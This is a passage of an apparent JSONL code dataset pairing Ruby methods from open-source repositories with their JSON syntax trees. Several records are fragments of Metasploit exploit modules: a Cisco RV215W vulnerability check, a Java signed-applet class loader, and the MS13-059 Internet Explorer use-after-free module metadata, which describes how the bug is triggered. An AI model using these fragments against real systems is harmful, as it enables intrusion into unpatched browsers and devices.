1.2.0.15\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"050d47ea944eaeadaec08945741e8e380f796741\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"version\"]},{\"type\":\"str\",\"children\":[\"Cisco RV215W 1.3.0.7 or 1.3.0.8, 1.3.1.1 (not vulnerable), 1.3.1.4 (not vulnerable)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"lang_pack/EN.js\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fingerprint\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA1\"]},\"hexdigest\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"to_s\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fingerprints\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"fingerprint\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Successfully identified device: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fingerprints\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"fingerprint\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"version\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fingerprints\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"fingerprint\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"status\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Couldn't reliably fingerprint the target.\"]}]}]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]}","id":"2e03436c-2c12-447c-b894-28e67b454fcd"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/conditional_assignment.rb","start_line":60,"raw_source":"def end_with_eq?(sym)\n          sym.to_s.end_with?(EQUAL)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"end_with_eq?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sym\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sym\"]},\"to_s\"]},\"end_with?\",{\"type\":\"const\",\"children\":[null,\"EQUAL\"]}]}]}","id":"09d4ab50-d5de-4873-8ef5-8d9bbd03d3df"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/mailers/interceptors/default_headers.rb","start_line":39,"raw_source":"def default_headers\n      {\n        \"X-Mailer\" => \"OpenProject\",\n        \"X-OpenProject-Host\" => Setting.host_name,\n        \"X-OpenProject-Site\" => Setting.app_title,\n        \"Precedence\" => \"bulk\",\n        \"Auto-Submitted\" => \"auto-generated\"\n      }\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"default_headers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-Mailer\"]},{\"type\":\"str\",\"children\":[\"OpenProject\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-OpenProject-Host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"host_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-OpenProject-Site\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"app_title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Precedence\"]},{\"type\":\"str\",\"children\":[\"bulk\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Auto-Submitted\"]},{\"type\":\"str\",\"children\":[\"auto-generated\"]}]}]}]}","id":"d49003fc-f093-4ee3-8e10-bc5c7acdd26c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/browser/java_signed_applet.rb","start_line":162,"raw_source":"def load_applet_class\n    data_dir = File.join(Msf::Config.data_directory, \"exploits\", self.shortname)\n    if datastore[\"APPLETNAME\"]\n      unless datastore[\"APPLETNAME\"] =~ /^[a-zA-Z_$]+[a-zA-Z0-9_$]*$/\n        fail_with(Failure::BadConfig, \"APPLETNAME must conform to rules of Java identifiers (alphanum, _ and $, must not start with a number)\")\n      end\n      siteloader = File.open(File.join(data_dir, \"SiteLoader.class\"), \"rb\") { |fd| fd.read(fd.stat.size) }\n      # Java strings are prefixed with a 2-byte, big endian length\n      find_me = [\"SiteLoader\".length].pack(\"n\") + \"SiteLoader\"\n      idx = siteloader.index(find_me)\n      len = [datastore[\"APPLETNAME\"].length].pack(\"n\")\n      # Now replace it with the new class name\n      siteloader[idx, \"SiteLoader\".length + 2] = len + datastore[\"APPLETNAME\"]\n    else\n      # Don't need to replace anything, just read it in\n      siteloader = File.open(File.join(data_dir, \"SiteLoader.class\"), \"rb\") { |fd| fd.read(fd.stat.size) }\n    end\n    @applet_class = siteloader\n  end","complexity_score":55.35,"ast_json":"{\"type\":\"def\",\"children\":[\"load_applet_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"shortname\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"APPLETNAME\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"APPLETNAME\"]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^[a-zA-Z_$]+[a-zA-Z0-9_$]*$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"APPLETNAME must conform to rules of Java identifiers (alphanum, _ and $, must not start with a number)\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"siteloader\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"data_dir\"]},{\"type\":\"str\",\"children\":[\"SiteLoader.class\"]}]},{\"type\":\"str\",\"children\":[\"rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fd\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"stat\"]},\"size\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"find_me\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"SiteLoader\"]},\"length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"SiteLoader\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"idx\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"siteloader\"]},\"index\",{\"type\":\"lvar\",\"children\":[\"find_me\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"len\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"APPLETNAME\"]}]},\"length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"siteloader\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"idx\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"SiteLoader\"]},\"length\"]},\"+\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"len\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"APPLETNAME\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"siteloader\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"data_dir\"]},{\"type\":\"str\",\"children\":[\"SiteLoader.class\"]}]},{\"type\":\"str\",\"children\":[\"rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fd\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"stat\"]},\"size\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@applet_class\",{\"type\":\"lvar\",\"children\":[\"siteloader\"]}]}]}]}","id":"9741bdfe-9bc6-45af-ad12-5a7309d4dd5c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"MS13-059 Microsoft Internet Explorer CFlatMarkupPointer Use-After-Free\",\n        'Description' => %q{\n          This is a memory corruption bug found in Microsoft Internet Explorer. On IE 9,\n          it seems to only affect certain releases of mshtml.dll, ranging from a newly\n          installed IE9 (9.0.8112.16446), to 9.00.8112.16502 (July 2013 update). IE8\n          requires a different way to trigger the vulnerability, but not currently covered\n          by this module.\n\n          The issue is specific to the browser's IE7 document compatibility, which can be\n          defined in X-UA-Compatible, and the content editable mode must be enabled. An\n          \"onmove\" event handler is also necessary to be able to trigger the bug, and the\n          event will be run twice before the crash. The first time is due to the position\n          change of the body element, which is also when a MSHTML!CFlatMarkupPointer::`vftable'\n          object is created during a \"SelectAll\" command, and this object will be used later\n          on for the crash. The second onmove event seems to be triggered by a InsertButton\n          (or Insert-whatever) command, which is also responsible for the free of object\n          CFlatMarkupPointer during page rendering. The EnsureRecalcNotify() function will\n          then still return an invalid reference to CFlatMarkupPointer (stored in EBX), and\n          then passes this on to the next functions (GetLineInfo -> QIClassID).  When this\n          reference arrives in function QIClassID, an access violation finally occurs when\n          the function is trying to call QueryInterface() with the bad reference, and this\n          results a crash. Successful control of the freed memory may leverage arbitrary code\n          execution under the context of the user.\n\n          Note: It is also possible to see a different object being freed and used, doesn't\n          always have to be CFlatMarkupPointer.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'corelanc0d3r', # Vuln discovery, PoC\n          'sinn3r' # Metasploit\n        ],\n        'References' => [\n          [ 'CVE', '2013-3184' ],\n          [ 'OSVDB', '96182' ],\n          [ 'MSB', 'MS13-059' ],\n          [ 'BID', '61668' ],\n          [ 'ZDI', '13-194' ],\n          [ 'ZDI', '13-195' ]\n        ],\n        'Platform' => 'win',\n        'BrowserRequirements' => {\n          :source => /script/i,\n          :os_name => 'Windows 7',\n          :ua_name => HttpClients::IE,\n          :ua_ver => \"9.0\",\n          :java => /1\\.6|6\\.0/,\n          :mshtml_build => lambda { |ver| ver.to_i.between?(16446, 16490) } # May 17 mshtml to MS13-Jun\n        },\n        'Targets' => [\n          [ 'Automatic', {} ]\n        ],\n        'Payload' => {\n          'BadChars' => \"\\x00\",\n          'StackAdjustment' => -3500\n        },\n        'DefaultOptions' => {\n          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'\n        },\n        'Privileged' => false,\n        'DisclosureDate' => '2013-06-27',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end","complexity_score":9.25,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"MS13-059 Microsoft Internet Explorer CFlatMarkupPointer Use-After-Free\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This is a memory corruption bug found in Microsoft Internet Explorer. On IE 9,\\n\"]},{\"type\":\"str\",\"children\":[\"          it seems to only affect certain releases of mshtml.dll, ranging from a newly\\n\"]},{\"type\":\"str\",\"children\":[\"          installed IE9 (9.0.8112.16446), to 9.00.8112.16502 (July 2013 update). IE8\\n\"]},{\"type\":\"str\",\"children\":[\"          requires a different way to trigger the vulnerability, but not currently covered\\n\"]},{\"type\":\"str\",\"children\":[\"          by this module.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The issue is specific to the browser's IE7 document compatibility, which can be\\n\"]},{\"type\":\"str\",\"children\":[\"          defined in X-UA-Compatible, and the content editable mode must be enabled. An\\n\"]},{\"type\":\"str\",\"children\":[\"          \\\"onmove\\\" event handler is also necessary to be able to trigger the bug, and the\\n\"]},{\"type\":\"str\",\"children\":[\"          event will be run twice before the crash. The first time is due to the position\\n\"]},{\"type\":\"str\",\"children\":[\"          change of the body element, which is also when a MSHTML!CFlatMarkupPointer::`vftable'\\n\"]},{\"type\":\"str\",\"children\":[\"          object is created during a \\\"SelectAll\\\" command, and this object will be used later\\n\"]},{\"type\":\"str\",\"children\":[\"          on for the crash. The second onmove event seems to be triggered by a InsertButton\\n\"]},{\"type\":\"str\",\"children\":[\"          (or Insert-whatever) command, which is also responsible for the free of object\\n\"]},{\"type\":\"str\",\"children\":[\"          CFlatMarkupPointer during page rendering. The EnsureRecalcNotify() function will\\n\"]},{\"type\":\"str\",\"children\":[\"          then still return an invalid reference to CFlatMarkupPointer (stored in EBX), and\\n\"]},{\"type\":\"str\",\"children\":[\"          then passes this on to the next functions (GetLineInfo -> QIClassID).  When this\\n\"]},{\"type\":\"str\",\"children\":[\"          reference arrives in function QIClassID, an access violation finally occurs when\\n\"]},{\"type\":\"str\",\"children\":[\"          the function is trying to call QueryInterface() with the bad reference, and this\\n\"]},{\"type\":\"str\",\"children\":[\"          results a crash. Successful control of the freed memory may leverage arbitrary code\\n\"]},{\"type\":\"str\",\"children\":[\"          execution under the context of the user.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Note: It is also possible to see a different object being freed and used, doesn't\\n\"]},{\"type\":\"str\",\"children\":[\"          always have to be CFlatMarkupPointer.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"corelanc0d3r\"]},{\"type\":\"str\",\"children\":[\"sinn3r\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2013-3184\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"96182\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MSB\"]},{\"type\":\"str\",\"children\":[\"MS13-059\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"61668\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ZDI\"]},{\"type\":\"str\",\"children\":[\"13-194\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ZDI\"]},{\"type\":\"str\",\"children\":[\"13-195\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BrowserRequirements\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"script\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"os_name\"]},{\"type\":\"str\",\"children\":[\"Windows 7\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ua_name\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HttpClients\"]},\"IE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ua_ver\"]},{\"type\":\"str\",\"children\":[\"9.0\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"java\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"1\\\\.6|6\\\\.0\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mshtml_build\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ver\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ver\"]},\"to_i\"]},\"between?\",{\"type\":\"int\",\"children\":[16446]},{\"type\":\"int\",\"children\":[16490]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"InitialAutoRunScript\"]},{\"type\":\"str\",\"children\":[\"post/windows/manage/priv_migrate\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2013-06-27\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"e3dd52b7-2119-4da0-b6ba-7c04f7816a64"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/services/captain/llm/assistant_chat_service.rb","start_line":22,"raw_source":"def generate_response(additional_message: nil, message_history: [], role: 'user')\n    @messages += message_history\n    @messages << { role: role, content: additional_message } if additional_message.present?\n    request_chat_completion\n  end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_response\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"additional_message\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"message_history\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"role\",{\"type\":\"str\",\"children\":[\"user\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@messages\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"message_history\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"additional_message\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@messages\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"lvar\",\"children\":[\"role\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"lvar\",\"children\":[\"additional_message\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"request_chat_completion\"]}]}]}","id":"17ee693e-1a0f-46cd-8306-6876e563653d"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/store.rb","start_line":477,"raw_source":"def pass_default_flag_to_other_store\n      if default? && can_be_deleted?\n        self.class.where.not(id: id).first.update!(default: true)\n        self.default = false\n      end\n    end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"pass_default_flag_to_other_store\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default?\"]},{\"type\":\"send\",\"children\":[null,\"can_be_deleted?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]},\"first\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"default=\",{\"type\":\"false\",\"children\":[]}]}]},null]}]}","id":"8e63f556-f899-4917-a15b-bb8390b897fa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/external/context.rb","start_line":51,"raw_source":"def top_level_worktree_paths\n            strong_memoize(:top_level_worktree_paths) do\n              project.repository.tree(sha).blobs.map(&:path)\n            end\n          end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"top_level_worktree_paths\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"top_level_worktree_paths\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"repository\"]},\"tree\",{\"type\":\"send\",\"children\":[null,\"sha\"]}]},\"blobs\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]}]}]}]}]}","id":"5a5cf1da-010b-47c2-8d81-a6098c879bfa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/legacy_github_import/importer.rb","start_line":131,"raw_source":"def import_issues\n        fetch_resources(:issues, repo, state: :all, sort: :created, direction: :asc, per_page: 100) do |issues|\n          issues.each do |raw|\n            raw = raw.to_h\n            gh_issue = IssueFormatter.new(project, raw, client, source_user_mapper)\n\n            begin\n              issuable =\n                if gh_issue.pull_request?\n                  MergeRequest.find_by(target_project_id: project.id, iid: gh_issue.number)\n                else\n                  gh_issue.create!\n                end\n\n              apply_labels(issuable, raw)\n            rescue StandardError => e\n              errors << { type: :issue, url: Gitlab::UrlSanitizer.sanitize(gh_issue.url), errors: e.message }\n            end\n          end\n        end\n\n        load_placeholder_references\n      end","complexity_score":41.9,"ast_json":"{\"type\":\"def\",\"children\":[\"import_issues\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fetch_resources\",{\"type\":\"sym\",\"children\":[\"issues\"]},{\"type\":\"send\",\"children\":[null,\"repo\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"sym\",\"children\":[\"all\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sort\"]},{\"type\":\"sym\",\"children\":[\"created\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"direction\"]},{\"type\":\"sym\",\"children\":[\"asc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"per_page\"]},{\"type\":\"int\",\"children\":[100]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issues\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issues\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw\